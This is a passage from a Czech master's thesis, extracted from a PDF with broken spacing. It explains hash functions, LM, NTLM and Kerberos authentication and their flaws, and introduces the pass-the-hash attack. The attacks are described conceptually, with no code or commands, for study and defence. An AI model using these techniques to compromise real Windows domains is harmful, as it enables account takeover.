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ÚVOD 

Hesla jsou v dnešním světě s tá le využívána jako běžná bezpečnost í opa t řen í . Hlavní 

důraz by měl být kladen na jejich sílu, a tedy odolnost proti ú t o k ů m hrubou silou. 

V př ípadě , že k takovému ú toku dojde, ne vždy je zaručena jeho úspěšnost . Jejich 

časová náročnos t je ú m ě r n á síle zvoleného hesla a při použi t í dos ta tečně bezpečného 

hesla je jeho prolomení t éměř nereálné. 

Ovšem ne vždy je p o t ř e b a ke kompromitaci vybraného uživatelského ú č t u n u t n á 

znalost hesla v jeho čisté podobě . 

V současné době by se uživatelská hesla neměla posílat a ověřovat v čis tém textu, 

jelikož by je bylo velmi j ednoduché zachytit. Ověřování správnost i tedy funguje 

způsobem porovnávání hash ot isků daného hesla. 

V př ípadě , že p ř í s tup k hashi na d a n é m systému, či aun ten t i začn ím serveru není 

dos ta tečně zabezpečen, vzniká bezpečnos tn í díra, kterou je možné využí t ke kompro­

mitaci i vysoce privilegizovaných admin i s t r á to rkých úč tů . Když se ú točn ík daného 

hashe zmocní , může jej při aun ten t i začn ím porcesu podvrhnout a přihlási t se na zvo­

lený účet i bez znalosti konkré tn ího hesla. 

Když k popsané situaci dojde a ú točn ík se úspěšně zmocnil admin is t rá to rského 

úč tu , získal v p o d s t a t ě kontrolu nad všemi počí tač i v konkré tn í doméně . 

Je tedy pa t rné , že by měl být kladen velký důraz na tvorbu a udržování hashů. 

Tato diplomová práce m á za cíl dokázat , že tomu tak i po dlouhé době, co je ú tok 

pass the hash známý, není . 
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1 F U N K C E H A S H 
Kryptograf ická hashovací funkce H 

h=H(Z) 

kde Z reprezentuje vs tupn í data a h výs tupn í hasli je m a t e m a t i c k ý algoritmus, k terý 

převede vstup (text, soubor, o b r á z e k . . . ) na speciální řetězec znaků o fixní délce. Ten 

se nazývá hasli neboli otisk. Jeho velikost je obvykle 128, 160, 192 nebo 256 b i tů [1]. 

Idealizovaná hashovací funkce by měla umožňovat : 

• rychlé zpracování, 

• nemožnost získat vstup z daného hashe, 

• nemožnost změni t zprávu bez toho, aby se změnil její hash, 

• bezkoliznost - není možné nají t dvě různé zpárvy se s te jným hashem [2]. 

V reá lném pros t ředí ovšem tuto ideální funkci není možné vytvoř i t , je možné 

se j í pouze přiblížit . Tento algoritmus m á tyto vlastnosti: 

• jakákol iv vs tupn í data jsou převedena na řetězec výs tupních znaků o přesně 

dané velikosti, 

• j ednosměrnos t - z výsledného hashe je t éměř nemožné získat zpá tky vs tupn í 

data, 

• sebemenší změna na vstupu vyvolá velkou změnu na výs tupu , 

• koliznost - dva různé vstupy mohou mí t stejný otisk. Tato vlastnost není žá­

doucí, nelze se j í ovšem vyhnout z důvodu, že t éměř neomezená vs tupn í data 

j ednoduše nelze popsat konečným ře tězcem pevné délky [1]. 

K získání hashe je v současné době možné použí t několika různých algori tmů. 

Mezi nejčastější p a t ř í M D 5 a S H A - 2 . 

1.1 Message-Digest 5 

J e d n á se o s tarš í hashovací algoritmus, jenž už byl v současné době prolomen a tudíž 

není považován za bezpečný. P ře s to je s tá le využíván v některých kryptografických 

protokolech [4]. N a vstupu je n a č t e n a libovolná zpráva a výs tup činí hash o délce 

128 bi tů . Pr incip tvorby hashe je následující: 

1. Vstupí řetězec je rozšířen doplňujícími bity tak, aby velikost zprávy byla 448 

mod 512. Jako doplňující bit je zvolena pouze jedna 1 a zbytek tvoří 0. 

2. Za účelem zvýšení bezpečnost i je dále k výsledku doplněno dalších 64 bi tů , 

které reprezentuj í délku původn í zprávy (Damgard-Merklovo zesílení). Nyní je 

zpráva beze zbytku děli telná 512. 

3. P ř e d výpoče tem jsou v zásobníku incializovány slova A , B , C, D danými kon­

stantami. 

14 



A B C D 

T i 

« < s 

A B C 

Obr. 1.1: Schéma jedné iterace u v ý p o č t u M D 5 hashe 

4. Zpráva je rozdělena na jednot l ivé bloky o velikosti 512b, k te ré se dále dělí 

ješ tě na 16 část í po 32 bitech (Xi - X 1 6 ) a p řed zpracováním je k n im př ič tena 

konstanta Tj. 

5. Provede se výpočet hashe z jednoho bloku. Tato operace je znázorněna na 

obrázku 1.1. Pro konečný výsledek je algoritmus zopakován 64x. Všech 64 

operací je rozděleno na 4 kola, v nichž jsou prováděny 4 různé funkce. K a ž d á 

funkce m á na vstupu slovo o délce 32 b i tů a po zpracování je výsledkem slovo 

o stejné délce. 

1. kolo: F ( B , C, D) = (B A C) V (-.B A D) , 

2. kolo: G ( B , C, D) = (B A D) V (C A - D ) , 

3. kolo: H ( B , C , D) = B © C © D , 

4. kolo: I(B, C, D) = C © (B V - D ) . 

6. Pro každou operaci je zvolen j iný vstup Xi a t aké j iný bi tový posun s. 

15 



7. Výsledný hasli daného bloku je reprezentován v ý s t u p e m slov A , B , C, D . Je­

likož je jejich velikost 32 bi tů , výsledný hash m á délku 4*32b = 128 bi tů . 

8. Výs tupn í slova předchozího bloku slouží jako vs tupn í slova bloku dalšího. 

9. Výsledný hash celého vstupu je dán slovy A , B , C, D po zpracování všech 

dos tupných 512b bloků [3]. 

1.1.1 Př íkad M D 5 hashe 

V př ípadě vytvoření otisku sousloví „ tvorba md5 hashe" je jeho otisk následující: 

347320698b92f901fe4abl682c585bfa. 

Po změně sousloví na „ tvorba M D 5 hashe" se otisk změní na: 

e13142ca7blad8f69a43fl6ccfcf2c2f 

Jak je p a t r n é z výše uvedeného př íkladu, bylo dokázáno, že i m a l á změna na 

vstupu vyvolá velkou změnu výs tupn ího otisku. 

1.2 Secure Hash Algori thm 

Secure Hash Algor i thm (SHA) označuje v současné době rodinu pě t i a lgori tmů. 

J e d n á se o S H A - 0 , S H A - 1 , SHA-224, SHA-256, SHA-384, SHA-512. Všechny varianty 

kromě SHA-1 se souhrnně označují jako S H A - 2 [6]. Čísla za označením uvádějí délku 

výs tupn ího hashe. 

Bezpečnost algoritmu S H A - 1 , k t e rý vychází z M D 4 a M D 5 , byla zpochybněna 

a bylo dokázáno, že je teoreticky možné nalézt kolize [6]. Z toho důvodu byla vy­

vinuta funkce SHA-2 a nyní se pracuje na S H A - 3 , k t e rá nevychází ze svého před­

chůdce [6]. 

P ř e d vy tvořen ím hashe musí opět dojít k upravení délky vstupu tak, aby byl 

děli telný beze zbytku bud 512 nebo 1024, a zpráva je nás ledně rozdělena na bloky 

o velikosti 512 nebo 1024 b i tů . Toto rozdělení záleží na zvoleném algoritmu S H A 

(viz tabulka 1.1). Pr incip doplnění je obdobný jako u M D 5 (viz 1.1) [5]. 

Ste jným způsobem jsou definována i počá tečn í v s tupn í slova A - H [5]. P r ů b ě h 

jedné iterace u v ý p o č t u S H A hashe je znázorněn na obr. 1.2 

Funkce C h a M a představuj í operace [6]: 

C h ( E , F , G) = (E A F) © ( i E A G) 

M a ( A , B , C) = (A A B) © (A A C) © (B A C ) . 
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Obr. 1.2: Schéma j edné iterace u v ý p o č t u S H A hashe [6] 

V sumarizačních blocích dochází k b i tovému posunu slova A a E . Tento bi tový 

posun se opět liší podle zvoleného algoritmu S H A . Blok m o d 2 3 2 předs tavuje sčítání 

modulo 2 3 2 . Po skončení poslední iterace se výsledný hash skládá zase ze slov A - H [5]. 

V tabulce 1.1 jsou uvedeny základní vlastnosti a lgor i tmů M D 5 a S H A . Doplněny 

byly taky záznamy o max imáln í velikosti vstupu a míře bezpečnost i . 

Tab. 1.1: Vlastnosti hashovacích a lgor i tmů 

Algoritmus velikost 
hashe (b) 

maximální velikost 
vstupní zprávy (b) 

délka slova (b) kolize 

MD5 128 2 6 4 - l 32 nalezeny 

SHA-0 160 2 6 4 - l 32 nalezeny 

SHA-1 160 2 6 4 - l 32 teoreticky možné 

SHA-224 224 2 6 4 - l 32 nenalezeny 

SHA-256 256 2 6 4 - l 32 nenalezeny 

SHA-384 384 2128 _ 1 64 nenalezeny 

SHA-512 512 2128 _ 1 64 nenalezeny 
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1.3 Využití hashovací funkce 

1.3.1 Intergrita data 

Hashovací funkce se hojně využívá pro kontrolu integrity dat, tzn. ověření, že data 

nebyla při přenosu pozměněna [10]. Pr incip je založen na tom, že m a l á změna na 

vstupu vyvolává velkou změnu na výs tupu . U souboru je po jeho vytvoření (nebo 

před přenesením) vytvořen hash a ten je zveřejněn. Uživatel, k te rý si daný soubor 

např . s táhne , může ověřit, že nebyl změněn tak, že vygeneruje hash přeneseného 

souboru a porovná ho s původn ím. T í m t o způsobem se dá ověřit nejen, že data 

nebyla pozměněna ú točníkem, ale t aké správný přenos souboru [10]. 

1.3.2 Hash hesel 

Hash hesel je založen na jednosmernosti hashovací funkce, tedy že z daného hashe 

nelze zjistit původn í fráze [7]. Pokud si uživatel vytovř í heslo, to není v da t abáz i 

uloženo v čis tém textu, ale pouze jako jaho hash. Pokaždé když se chce daný uživa­

tel znova autentizovat je po rovnán pouze hash zadaného hesla s hashem uloženým 

v da t abáz i [7]. Je tedy vyloučená možnost zachycení hesla v nezabezpečené podobě . 

Toto řešení ovšem neposkytuje ochranu proti slovníkovému ú toku [7]. Z toho 

důvodu se k hashi v da t abáz i př idává ješ tě tzn. „sůl" . J e d n á se o vygenerovaný 

přídavek k heslu. Není tedy vytvořen hash samotného hesla, ale hesla, do k te rého je 

p ř idána sůl [7]. 

Ovšem ani sůl nemusí poskytnout max imá ln í s tupeň ochrany při špa tně zvolené 

hashovací funkci [7]. Jak již bylo zmíněno např . u M D 5 již byly nalezeny kolize (dva 

různé vstupy mají stejný otisk) a u funkce SHA-1 je to teoreticky také možné . Je 

tedy vhodné zvolit a leposň algoritmus S H A - 2 [7]. 

1.3.3 Digitální otisk dat 

Hash v tomto př ípadě slouží jako jednozančný identifikátor dat [10]. Jakkoliv velká 

data jsou tedy reprezentována otiskem o velikosti v řádech desítek b i tů (na základě 

zvolené hashovací funkce). Toho je možné využí t díky p ředpok ládané bezkoliznosti 

hashovací funkce [10]. 

1.3.4 Digitální podpisy 

Z ověřovaného souboru je nejprve vypoč ten hash, k te rý je nás ledně zašifrován sou­

k romým klíčem vlas tn íka souboru. Tak vznikne elektronický podpis [7]. 
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Př i ověření podpisu je nejprve znovu vypoč í t án hash dokumentu. Díky z n á m é m u 

veřejnému klíči je doručený podpis dešifrován a získán hash z původn ího souboru. 

Tyto dva získané hashe jsou následně porovnány. Jestli jejich hodnoty odpovídají , 

je podpis ověřen [7]. 

1.3.5 Detekce nežádoucích změn v sys tému 

Pomocí hashe je t aké možné detekovat nežádoucí změny a programy v sys tému [7]. 

Nejprve je v pravidelných intervalech generován otisk sys tému nebo jeho části před 

i po provedení legit imní akce, k t e r á upravuje soubory v systému. Tento otisk je 

následně porovnáván se současným stavem systému, za účelem nalezení nežádoucích 

změn [7]. 
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2 A U T E N T I Z A C E V E W I N D O W S 
Autentizace ve Windows může prob íha t p ř ímo nebo nepř ímo. Pokud p rob íhá př ímo, 

j edná se o model výzva-odpověd (challenge-response), kdy uživatel vznese na au-

tent izační server požadavek, server mu následně v rá t í výzvu, na kterou klient musí 

správně odpovědět (obr. 2.1) [9]. V př ípadě , že se tak stane, autentizace proběhla 

úspěšně. Tento model využívají protokoly L M , N T L M v l a N T L M v 2 . 

Obr. 2.1: Model výzva odpověď (challenge-response) 

2.1 Lan Manager protokol 
J e d n á se o s tarš í au ten t izační protokol, jenž ověřuje uživatele již prolomenou auten-

t izační metodou [9]. 

Klientovo heslo je šifrováno na tzn. L M hash. Ten je možné za pomoci duho­

vých tabulek nebo ú tokem hrubou silou velmi j ednoduše prolomit [9]. L a n manager 

se používal v sys témech Windows do verze N T , kde byl již nahrazen protokolem 

N T L M v l [9]. 

2.1.1 Tovrba L M hashe 

Tvorba L M hashe se skládá z následujících kroků [8]: 

1. Heslo zadané uživatelem musí být převedeno na fixní délku 14 by tů . Kra tš í 

heslo je tedy doplněno na požadovanou velikost nulami, u delšího hesla je celý 

řetězec změněn na nuly a L M hash není vytvořen. 

2. Veškerá m a l á p í smena jsou převedena na velká. 

3. Řetězec o délce 14 b y t ů je rozdělen na dva o poloviční délce. Takto vzniknou 

dva klíče, k teré slouží k zašifrování konstanty algoritmem D E S . K e každému 

klíči je ješ tě doplněn jeden byte tak, že 7 bytový blok je rozdělen jako bit 

stream a po každém sedmém bi tu následuje doplněná nula až na požadovanou 

velikost. 

20 



4. Těmi to klíči je nás ledně zašifrována A S C I I konstanta KGS!@#$%. 

5. Výs tup tvoř í dva řetězce o velikosti 8 by tů , jejichž spojením vznikne požado­

vaný L M hash s délkou 16 by tů . 

Tvorba L M hashe je znázorněna na obrázku 2.2. 

Heslo: NoVéHesl012& 

Rozdělení na 2 slova (7B) 

NOVEHES 

Sloučení 

Převedení na velká písmena + ořezání, doplnění 

i 

NOVEHESLO12&00 

Vzniklý klíč 

i Konstanta 

DES KGS!@#$% DES KGS!@#$% 

Rozdělení na 2 slova (7B) 

LO12&00 

Konstanta 

Vzniklý klíč 

i 
KGS!@#$% DES KGS!@#$% DES 

Sloučení 

LM HASH(hexadecimálně): 
E53AA4A3CFD645849C92C3E9E87F0EC8 

Obr. 2.2: Výpočet L M hashe 

2.1.2 L M výzva-odpověď 

Než dojde k autentizaci, je klient nejdříve požádán o svoje heslo. Po jeho zadání je 

vygenerován výše zmíněným způsobem jeho L M hash. Ten je použi t k rozšifrování 

výzvy, k t e rá přišla od serveru. Jelikož L M hash m á délku 16 b y t ů a D E S algorit­

mus využívá klíče o délce 7 by tů , musí být L M hash p rvně upraven. To p roběhne 

následujícím způsobem (obr. 2.3) [8]: 

1. L M hash je doplněn na délku 21 by tů . Všechny doplněné znaky jsou nuly. 

2. Vzniklý řetězec je rozdělen na 3 sedmibytové. T y následně slouží jako klíče 

k dešifrování. 

3. Zašifrovaná výzva je celkem t ř ik rá t rozkódována získanými klíči. 

4. Spojením dosažených výsledků vznikne řetězec o délce 24 by tů . 
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LM HASH(16B): 
E53AA4A3CFD645849C92C3E9E87F0EC8 

- 1 . klíč (7B)- - 3 . klíč (2B + doplnění) -

E53AA4A3CFD645 

2. klíč (7B) 

A . 
849C92C3E9E87F 0EC80000000000 

Výzva (8B) DES Výzva (8B) DES Výzva(8B) DES 

Sloučení výsledků 

_ A _ 

Výsledná odpověď na výzvu (21B) 

Obr. 2.3: Zpracování výzvy 

Získaný rozšifrovaný řetězec je zaslán zpě t na server, a když je jeho hodnota 

s tejná jako hodnota, kterou si vypočí ta l sever z uloženého L M hashe v jeho da tabáz i , 

je uživatel úspěšně autent izován [8]. 

2.1.3 Chyby v návrhu L M hashe 

Jak je již p a t r n é z tvorby L M hashe, jeho náv rh obsahuje velmi výrazné chyby, k teré 

jej činí velmi z ran i te lným [9]. 

1. Heslo je ve d r u h é m kroku převedeno pouze na velká písmena, čímž se se vý­

razně sníží počet používaných znaků. T í m t o je mnohonásobně zvýšena náchyl­

nost ke slovníkovém ú toku . P ů v o d n í m účelem tohoto kroku měla být eliminace 

špa tného zadání hesla v př ípadě , že uživatel chybně zadá velká či ma lá pís­

mena. 

2. Hash hesla je tvořen šifrováním známé konstanty v nechráněné podobě . Ta ne­

obsahuje žádnou sůl ani další n á h o d n é prvky. Je tedy jednodušš í heslo uhád­

nout a t aké je zvýšena náchylnost ke kryp toana lýze 

3. Heslo je rozděleno na dvě části po sedmi znacích. V př ípadě , že bylo heslo 

kra tš í než 7 znaků, d r u h á část je doplněna nulami. Ta je nás ledně využ i ta jako 
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klíč k šifrování také známé konstanty. Z toho vyplývá, že každé heslo kra tš í 

než 7 znaků bude mí t druhou část šifrovaného textu stejnou. Ta je navíc dobře 

známá. Je tedy velmi snadné dohledat, zdali je heslo kra tš í než 7 znaků. 

4. Heslo je rozděleno na dvě části , k te ré jsou zpracovávány nezávisle na sobě. 

Neexistuje mezi n imi žádná kryptografická vazba, a tedy je možné zaútoč i t 

na každou část zvlášť. 

5. Všeobecně není již dnes D E S algoritmus není považován za bezpečný [9]. 

2.2 N T Lan Manager 

Protkol N T L M navazuje na starší , již nebezpečný protokol L M . Jeho cílem bylo 

opravit slabiny L M protokolu [12]. Ovšem ani tento protokol není dnes považován 

za bezpečný, přes to je hojně využíván na většině operačních sys témů Windows [12]. 

V př ípadě , že jsou počí tače př ipojeny do domény, měl by být preferován protokol 

Kerberos [12]. Existují dvě verze daného protkolu - N T L M v l a N T L M v 2 . Obě dvě 

opět využívají modelu výzva-odpověd (viz obr. 2.1) [12]. 

2.2.1 N T L M v l hash 

N T L M hash je tvořen mnohem jednodušej i než L M hash. N a zvolené heslo je pouze 

aplikován j ednosměrný algoritmus M D 4 a vzniklý otisk je uložen do da tabáze . 

M D 4 hash je předchůdce dnes již prolomeného, ovšem stále hojně používaného 

algoritmu M D 5 . Jeho tvorba oproti tvorbě M D 5 hashe (viz 1.1) obsahuje tyto 

změny [11]: 

• Provádí se pouze t ř i kola oproti č ty řem u M D 5 . 

• Neobsahuje př ič tení kostanty (viz obr. 1.1) 

• Využit í j iných funkcí, k te ré jsou ovšem jen tř i . 

• Výs tupn í data předchozího kola přicházejí ve s te jném pořad í jako vs tupn í data 

kola dalšího. 

• J iný poče t b i tů pro bi tový posun <<< s [11]. 

Jak je již p a t r n é z použ i tého hashovacího algoritmu, ani tento protokol nemůže 

být považován za bezpečný, jelikož byly u algoritmu M D 5 nalezeny kolize. Totéž 

pla t í i pro s tarš í M D 4 [12]. 

N T L M v l v ý z v a - o d p o v ě ď 

Protkoly L M a N T L M jsou velmi podobné , jejich hlavní rozdíl tvoř í pouze výpočet 

hashe hesla [12]. Schéma v ý p o č t u odpovědi je to t žné se schématem uvedeným na 

obr. 2.3. 
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Jediný rozdíl tvoř í pouze použi t í N T L M hashe (MD4) namís to L M hashe při 

tvorbě t ř í po t ř ebných klíčů pro šiforvání výzvy [13]. N T L M v l hash o délce 16 b y t ů 

je t aké doplněn nulami na 21 by tů . Výsledná odpověď složená ze t ř i kryptogramu 

m á délku 24 b y t ů [13]. 

Z r a n i t e l n o s t i N T L M v l 

Protkol N T L M v l prošel změnou pouze při v ý p o č t u hashe, k t e rá se nás ledně částečně 

odrazila ve v ý p o č t u odpovědi . Ovšem zachování principu výzva-odpověd jej činí 

z ran i te lným proti mnoha ú t o k ů m založených na podvržen í přihlašovacích úda jů [14]. 

• Pas ivní ú tok opakováním. Útočník zachyt í výzvu a úspěšnou odpověď na ni . 

Následně, pokud se poda ř í útočníkovi získat hash uživatelova hesla, může pro­

vést ú tok opakováním. Ten spočívá v tom, že ú točn ík opakovaně vysílá poža­

davky na server až do t é doby, než mu přijde s te jná výzva, jako je ta, kterou 

zachytil v p r v n í m kroku [14]. 

• Akt ivn í shromažďování duplici tních výzev. V tomto př ípadě ú točn ík zasílá 

au ten t izační požadavky na napadený poč í tač a shromažďuje zaslané výzvy. 

Dále ú točn ík podvrhne uživateli např . falešnou s t r ánku a zašle mu jako výzvu 

řetězec získaný v předchozím kroku. Po autentizaci uživatele již zná ú točník 

i jeho hash. Ten může při dupl ic i tní odpovědi z p rvn ího kroku podvrhnout 

a přihlási t se na danou stanici [14]. 

• Akt ivn í predikce výzev. Útočník se za pomoci škodlivého kódu snaží zjistit, 

j a k ý m způsobem jsou generovány výzvy v závislosti na čase. Pokud se mu 

tohle p o d a ř í zjistit, podvrhne konkré tn í výzvu uživateli , a tak opět získá jeho 

hash, k te rý může využí t k přihlášení [14]. 

2.2.2 N T Lan Manager verze 2 

N T L M v 2 je n á s t u p c e m N T L M v l a byl vyvinut za účelem ods t raněn í bezpečnostn ích 

chyb jeho předchůdce . Ovšem ani v současné verzi protokolu se stále nevyužívá 

alespoň S H A hashe, ale k získání N T L M hashe slouží opět algoritmus bud M D 4 

nebo M D 5 [12]. Jak již bylo řečeno, tato implementace hashovacího algoritmu činí 

celý sys tém náchylnější k prolomení [12]. 

Tento protkol je používán v systémech Windows Vi s t a a vyšších [12]. V př ípadě 

jeho aktivace jsou veškeré odpovědi N T L M a L M nahrazeny odpověďmi N T L M v 2 

a L M v 2 [12]. 
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N T L M v 2 v ý z v a - o d p o v ě ď 

Př i vývoji tohoto protokolu došlo i ke změně modelu výzva-odpověď. Jak již bylo 

zmíněno, stále se využívá N T L M hashe, ovšem do procesu autentizace je zahrnuta 

i výzva klienta. T í m by měla být za ručena odolnost proti pas ivnímu ú toku opako­

váním (viz 2.2.1), n icméně proti zbývajícím ú t o k ů m je stále náchylný [12]. 

Změněn byl t aké princip tvorby N T L M hashe. V tomto p ř ípadě se již nejedná 

pouze o otisk samotného hesla, ale o H M A C - M D 5 otisk, k te rý obsahuje: 

• j m é n o uživatele, 

• uživatelovo heslo, 

• název domény, do k te ré se uživatel hlásí [13]. 

Výsledný M D 5 hash je označován jak N T L M v 2 hash [13]. 

Př i ověřování autenticity uživatele se postupuje následujícím způsobem (obr 2.4): 

• Nejprve opět klient zažádá o autentizaci a je mu ze strany serveru poskytnuta 

8 bytová výzva. 

• Klient vygeneruje 2 výzvy (client challenge). 

• P r v n í výzva je n á h o d n ý řetězec o délce 8B. 

• D r u h á kl ientská výzva se skládá z n á h o d n é h o 8B řetězce, doplňujících dat, ná­

zvu domény a časového raz í tka (právě to by mělo zabrán i t ú t o k ů m opakováním 

výzev) . 

• Ty to výzvy jsou zaslány na sever společně s odpovědí na výzvu. 

• Odpověď tvoří H M A C - M D 5 otisk N T L M v 2 hashe společně s p rvn í a druhou 

klientskou výzvou. 

• Server nás ledně př i ja tá data ověří, vypoč í t á po t ř ebné hashe a autentizuje uži­

vatele [13]. 

MD5(Jméno, doména, heslo) KV1: náhodných 86 

KV2: SB + data, čas, doména 

Obr. 2.4: N T L M v 2 výzva-odpověď 

V př ípadě , kdy klientské výzvy musí procházet přes síť (např . au ten t izační server 

přeposí lá data řadiči domény) , by data procházela v čis tém textu, a proto byla 
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vyvinuta modifikace „Session N T L M v 2 " . Po nasazení jsou obě výzvy (klientská 

i serverová) přenášeny jako hash [13]. 

• Klient obdrž í 8B výzvu, vytvoř í si N T L M v 2 hash (16B) a doplní ho opět na 

21B. 

• Klient vygeneruje svoji n á h o d n o u 8B výzvu. Tato výzva je doplněna nulami 

na velikost 24B. 

• N a tuto výzvu společně s výzvou ze strany serveru je aplikován algoritmus 

M D 5 a vznike hash o velikosti 16B. 

• Tento hash je použi t jako vs tupn í šifrovaná konstanta. 

• Tato konstanta je 3x zašifrována algoritmem D E S . Jako jednot l ivé klíče slouží 

části N T L M v 2 hashe. 

• Vzniklé výs tupy se spojí a jsou zaslány serveru jako odpověď na výzvu [13]. 

D ES 

Požadavek o autentizaci 

Výzva 8 B 

Session NTLM odpověď 

potvrzení autentizace 

Session NTLM 
odpověď 

DES 

K l í č l ( l -7B ) Klíč 3 (8-14B) Klíč 2 (14-21B) 

NTLMv2 hash (doplněn na 21B) 

DES 

MD5 

Serverová výzva Klientská výzva 

Obr. 2.5: Session N T L M v 2 výzva-odpověd 

2.3 Kerberos 

J e d n á se o protokol, k te rý využívá nepř ímé ověření [15]. V síti tedy musí figurovat 

min imálně t ř i objekty. Klient , server, na k te rý se uživatel autentizuje, a dis t r ibuční 

centrum klíčů ( K D C - Key Distr ibution Center) [15]. Jelikož je protokol Kerberos 
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využíván pro centralizované spravování přihlašovacích údajů , je jeho nasazení vhodné 

převážně do domén. Uživatel se tedy neautentizuje p ř ímo u serveru poskytuj íc ím 

službu, ale u d is t r ibučního centra, k teré v tomto př ípadě reprezentuje řadič domény 

(active directory) [15]. 

K D C zde představuje důvěryhodnou autoritu, k t e r á zná po t ř ebné šifrovací klíče 

všech kl ientů v doméně . Z důvodu zvýšení bezpečnost i K D C poskytuje při navazo­

vání spojení mezi klientem a serverem pouze nezbytené au ten t izační údaje [15]. 

2.3.1 Výhody protokolu Kerberos 

Jeho hlavní v ý h o d a spočívá v tom, že přes síť nejsou přenášeny vůbec žádné údaje 

př ímo související s au tent izac í (hashe). Autentizace zde p rob íhá na principu t iketů, 

k teré jsou pouze dočasné a nelze je tedy zneužít obdobně , jak tomu bylo u výzvy 

v protokolu N T L M [15]. 

Další výhodou je fakt, že podporuje funkci „single sign-on". J e d n á se o metodu, 

díky níž se uživatel nemusí opakovaně přihlašovat k vícero s lužbám, ale po p rvn ím 

úspěšném přihlášení je p ř ipuš těn ke všem d o s t u p n ý m s lužbám (pokud autentizace 

prob íhá u s tejného K D C ) [15]. 

2.3.2 Princip ověřování 

• Uživatel při p rvn ím př ihášení k doméně zadá svoje přihlašovací údaje , ze kte­

rých je nás ledně vy tvořen S H A hash. Tento hash slouží jako ta jný klíč pro další 

kroky. Získaným klíčem je zašifrováno uživatelské j m é n o a časové razí tko, k teré 

tvoř í žádost , a jsou poslány na au ten t izační server, což je součást K D C . 

• Auten t izačn í server tento kryptogram rozšifruje (díky heslu, k teré m á uživatel 

v active directory). Následně ověří platnost časového raz í tka a zdali je daný 

uživatel v jeho da tabáz i . Pokud ano, dále si vytvoř í uživatelův t a jný klíč. 

• Jako odpověď na au ten t izační žádost zašle zpět tzv. „session kl íč" . Ten není 

posí lán v čis tém textu, ale je zašifrován pomocí t a jného klíče klienta. Díky 

tomu bude možné , aby klient komunikoval s K D C v šifrované podobě . 

• Společně s t í m t o klíčem je klientovi t aké zaslán tzv. „Ticket -Grant ing Ticket" 

( T G T ) . J e d n á se o un iká tn í klíč, k te rý je zašifrován K D C t a j n ý m klíčem. 

• Pokud je uživatel schopný session klíč rozšifrovat, může být úspěšně auten-

tizován, protože k rozšiforvání je použi t klíč, k te rý je vy tvořen z uživatolva 

j m é n a a hesla. Není tedy n u t n é po síti posí lat žádné hashe, jak by tomu bylo 

v p ř ípadě využi t í N T L M . 

• T G T klient není schopný rozšifrovat, pouze mu slouží jako identifikace úspěšně 

proběhlé antentizace a obsahuje jeho jméno , adresu a dobu platnosti tiketu + 
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session key. Díky němu je nás ledně možné využívat funkci single sign-on. 

• Tento tiket m á ovšem omezenou dobu platnosti. Po jej ím up lynu t í je uživatel 

nucen znova se autentizovat a získat nový tiket (nebo obnovit stávající) [15]. 

Schéma autentizace je znázorněno na obrázku 2.6. 

Obr. 2.6: Pr incip protokolu Kerberos [15] 

Pokud si klient zažádá o p ř í s tup ke zvolené službě, dojde k následné komunikaci: 

• Klient musí sestavit žádost o tiket k požadované službě tzv. „service ticket". 

Ten se skládá ze j m é n a služby, uživatelovy identifikace a časové známky. Celý 

service ticket je zašiforván z ískaným session klíčem. 

• Service ticket je odeslán na Ticket granting service (TGS) , což je opět součást 

d is t r ibučního centra klíčů. 

• T G S obdržený tiket rozšifruje a t í m autentizuje klienta. Výsledná odpověď 

se skládá ze dvou částí . 

• P r v n í část obsahuje session klíč pro komunikaci serveru a klienta, šifrovaný 

původn ím session klíčem. D r u h á část obsahuje service ticket s kl ientovými 

identifikačními údaji . D r u h á část je šiforvána t a j n ý m klíčem služby. Klient jej 

tedy opět nemůže rozšifrovat. 

28 



• Obdržený service ticket je klientem zaslán na server, kde je rozšifrován a ná­

sledně je již p ř ímo navázána komunikace mezi klientem a serverem (viz obr. 

2.6) [15]. 

2.3.3 Zranitelnosti 

Návrh protokolu Kerberos je mnohem robustnějš í a bezpečnější , než je tomu u N T L M , 

ovšem i zde může dojít k ú t o k ů m [16]. 

• O b d o b n ě jako u N T L M i zde se dá použí t ú tok opakováním. Ovšem už ne 

s takou úspěšnost í . Ú tok je zde založen na krádeži T C P relace mezi serverem 

a klientem. V př ípadě , že ú točn ík zachytí po t ř ebný service ticket, je možné se 

k dané službě přihlási t do té doby, než vyprš í platnost tiketu. Jelikož platnost 

tiketu je původně ponechána na desíti hod inách [15], ú točn ík m á dos ta tečný 

čas služby zneužít [16]. 

• Jelikož protokol Kerberos také stojí na časové synchronizaci, je důležité t aké 

používat důvěryhodné protokoly. Pokud by byl použi t protkol s chybou v ná­

vrhu, velmi by to usnadnilo útočníkovi kompromitaci časových známek, a tedy 

celých t ike tů [16]. 

• H á d á n í hesel. J e d n á se o ú tok hrubou silou. V př ípadě , že by se útočníkovi 

podař i lo zjistit hash hesla z počí tače obět i , může se jej pokusit prolomit. Vše 

záleží na síle hesla a algoritmu tvorby hashe [16]. 

• Získaný hash nemusí bý t použi t k ú t o k ů m hrubou silou, díky explo i tům je 

možné využít také tzv. „Pass the Hash" útok. Kerberos využívá N T L M hash, 

ze k te rého následně tvoř í zašifrovaný klíč. Když je tedy hash kompromitován , 

ú točník jej může využít k v ý p o č t u v las tn ího klíče a autentizaci vůči K D C [16]. 
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3 PASS T H E H A S H 
Pass the hash je ú tok, k t e rý umožňuje útočníkovi využí t L M a N T L M hashe k au-

tentizaci ke vzdálené (i lokální) stanici bez znalosti hesla a bez nutnosti prolomení 

těch to hashů [17]. Celý postup je založen na zrani te lnost ích au ten t izačního protokolu 

N T L M . 

Útok pass the hash může představovat velkou hrozbu v pros t ředí , k teré spravuje 

active directory. V př ípadě , že je ú tok úspěšný, může dojít ke kompromitaci vy­

soce privilegovaných admin i s t rá to r ských úč tů , a tudíž k získání p ř í s tupu kamkoliv 

v rámci celé domény [18]. 

Zde předs tavuje velmi výraznou hrozbu použi t í mechanizmu SSO (Single-sign 

On), k te rý umožňuje přihlašování k sítí posky tovaným s lužbám bez nutnosti znovu 

zadávat heslo. V p a m ě t i sys tému musí bý t obsaženy kopie přihlašovacích údajů , 

k teré jsou automaticky poskytnuty při požádán í o konkré tn í službu. Útočník tedy 

může po úspěšném ú t o k u j ednoduše využívat veškeré zdroje na síti [18]. 

Je tedy pa t rné , že by měl být kladen velký důraz na bezpečnos tn í opa t řen í , k t e rá 

by nás ledky úspěšné kompromitace měla zmírni t . V současné době ovšem neexistuje 

univerzální řešení, jelikož to by muselo obsahovat návrh nového au ten t izačn ího pro­

tokolu či výraznou změnu mechanizmů protokolů současných [18]. 

3.1 Princip P t H 

Útok Pass the hash na konkré tn í stanici se skládá ze dvou částí [18]. 

• Nejprve ú točn ík musí získat p ř í s tup k počí tači obě t i a nás ledně získat auten-

